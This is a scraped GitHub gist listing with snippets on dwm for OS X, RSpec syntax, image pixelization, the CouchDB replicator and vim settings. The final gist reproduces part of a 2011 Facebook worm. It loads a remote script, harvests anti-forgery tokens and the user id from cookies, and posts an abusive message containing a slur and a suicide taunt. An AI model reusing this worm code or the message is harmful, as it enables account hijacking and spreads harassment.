Skip to content

Instantly share code, notes, and snippets.

permanent omnishambles

Robin Howard damncabbage

permanent omnishambles
View GitHub Profile
endolith / Has weird right-to-left characters.txt
Last active Dec 1, 2021
Unicode kaomoji smileys emoticons emoji
View Has weird right-to-left characters.txt
vangberg /
Created Feb 22, 2010
dwm on os x [work in progress!]

Installing and configuring dwm on OS X

  1. Install XQuartz ( which is the development version of the that ships with OS X, which means it is way more up to date. I have had some weird issues with v. 2.3-something. XQuartz 2.5.0 fixed that.

  2. Install dwm from Homebrew, brew install dwm. This makes a bunch of necessary tweaks to the DWM configuration.

  3. Add the following script to $PATH, name it dwm-launch and chmod 755:

    cd ~
    while true
nruth / cookie_steps.rb
Created Jul 21, 2010
Testing login "remember me" feature with Capybara (rack::test or selenium) - deleting the session cookie (only)
View cookie_steps.rb
dnagir / rspec-syntax-cheat-sheet.rb
Created Nov 5, 2010
RSpec 2 syntax cheat sheet by example
View rspec-syntax-cheat-sheet.rb
# RSpec 2.0 syntax Cheet Sheet by
# defining spec within a module will automatically pick Player::MovieList as a 'subject' (see below)
module Player
describe MovieList, "with optional description" do
it "is pending example, so that you can write ones quickly"
it "is already working example that we want to suspend from failing temporarily" do
pending("working on another feature that temporarily breaks this one")
View frozendefense.js
function randomChoice(arr) {
return arr[Math.floor(Math.random() * arr.length)];
function randint(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
function drawCircleANotFilled(ctx, x, y, radius, width, color) {
leegao / Full.js
Created Dec 10, 2010
!(???) && Profit!!!
View Full.js
// Compress and add javascript: prefix, then save as a bookmarklet
function process(image){
h = image.height; w = image.width;
var buffer = document.createElement("canvas"); // Anonymous canvas
buffer.width = w;buffer.height=h;
var ct = buffer.getContext('2d');
var data = ct.getImageData(0,0,w,h).data; // This may raise an exception for external images.
var pxs=2; // Height-Width of the pixel block
mmb / pixelize.rb
Created Jan 11, 2011
convert image into retro 8-bit looking image
View pixelize.rb
require 'RMagick'
# convert image intro retro 8-bit looking image
# find NES, SNES, etc. palette image on the web
palette ='/tmp/Palette_NTSC.png')
img ='/tmp/input.jpg')
fdmanana / gist:832610
Created Feb 17, 2011
The CouchDB replicator database
View gist:832610

1. Introduction to the replicator database

A database where you PUT/POST documents to trigger replications and you DELETE to cancel ongoing replications. These documents have exactly the same content as the JSON objects we used to POST to /_replicate/ (fields "source", "target", "create_target", "continuous", "doc_ids", "filter", "query_params".

Replication documents can have a user defined "_id". Design documents (and _local documents) added to the replicator database are ignored.

The default name of this database is _replicator. The name can be changed in the .ini configuration, section [replicator], parameter db.

2. Basics

View .vimrc
au BufRead,BufNewFile jquery.*.js set ft=javascript syntax=jquery
set nocompatible
set autoindent
set tabstop=2
set showmatch
set vb t_vb=
set ruler
set nohls
set incsearch
syntax on
tysonmote / facebook_hack.js
Created May 12, 2011
Nicole Santos Facebook hack
View facebook_hack.js
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src=''+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);